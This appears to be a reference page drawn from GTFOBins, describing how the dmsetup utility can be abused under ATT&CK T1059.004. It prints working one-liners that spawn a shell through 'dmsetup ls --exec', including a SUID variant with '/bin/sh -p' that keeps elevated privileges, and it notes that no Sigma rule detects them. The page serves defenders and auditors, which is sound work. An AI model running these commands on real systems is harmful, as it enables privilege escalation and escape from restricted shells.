dmsetup

GTFOBins shell 1 ATT&CK technique 1 documented command

How dmsetup is abused

documented by GTFOBins

shell T1059.004 Command and Scripting Interpreter: Unix Shell

create

--exec

-s

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for dmsetup.

1 documented command

from GTFOBins, each read by the identifier

shell unprivileged, with sudo, as SUID

dmsetup create base <<EOF
0 3534848 linear /dev/loop0 94208
EOF
dmsetup ls --exec '/bin/sh -s'

Identify

As SUID:

dmsetup create base <<EOF
0 3534848 linear /dev/loop0 94208
EOF
dmsetup ls --exec '/bin/sh -p -s'

The command the identifier reads trips no Sigma process-creation rule. This command is from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for dmsetup. The identifier reads the line that runs dmsetup.

What detects it

Sigma process creation rules

T1059.004Command and Scripting Interpreter: Unix Shell

dmsetup

How dmsetup is abused

1 documented command

What detects it

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